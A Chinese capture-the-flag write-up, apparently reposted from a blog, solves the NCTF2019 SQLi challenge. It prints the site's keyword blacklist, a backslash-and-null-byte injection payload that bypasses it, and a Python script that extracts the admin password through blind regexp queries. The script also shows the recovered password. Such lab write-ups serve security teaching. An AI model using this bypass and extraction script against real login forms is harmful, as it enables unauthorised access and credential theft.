[NCTF2019]SQLi
程序员文章站
2024-03-14 13:16:22
...
[NCTF2019]SQLi
打开网页,提示:
try to make the sqlquery have its own results
登录键下提示:
sqlquery : select * from users where username='' and passwd=''
fuzz一***释符号,空格全被过滤了,这个是我的fuzz字典:
用dirsearch
扫描一下网站,发现存在robots.txt
文件,打开后提示有/hint.txt
:
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
对一开始的查询语句
select * from users where username='' and passwd=''
作出修改:
select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^a";%00'
References
此时username
变成\' and passwd=
,这样肯定查不到,同时%00
导致最后的引号被截断,所以真实的查询语句为:
select * from users where passwd regexp "^a";
^a
的意思就是寻找以a
开头的字符串,不断增长^
后面的字符串就可以完整还原密码。
References
python脚本:
import requests
from urllib import parse
import string
url = 'http://e46eb35d-cdcf-48bf-b210-5d210b6bf11d.node4.buuoj.cn:81/'
result = ''
string= '_' + string.ascii_lowercase + string.digits #密码由小写字母 数字 下划线组成
while True:
for j in string:
data = {
"username":"\\",
"passwd":'||/**/passwd/**/regexp/**/"^{}";{}'.format((result+j),parse.unquote('%00'))
}
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
result += j
print("\r" + result, end="")
break
parse.unquote()
是解码%00
的意思,防止%00
本身被url编码。
References
刷题记录-[NCTF2019]SQLi_Arnoldqqq的博客-CSDN博客
运行结果:
you_will_never_know7788990
在网页随便输入一个用户名,载输入密码,就可以得到flag。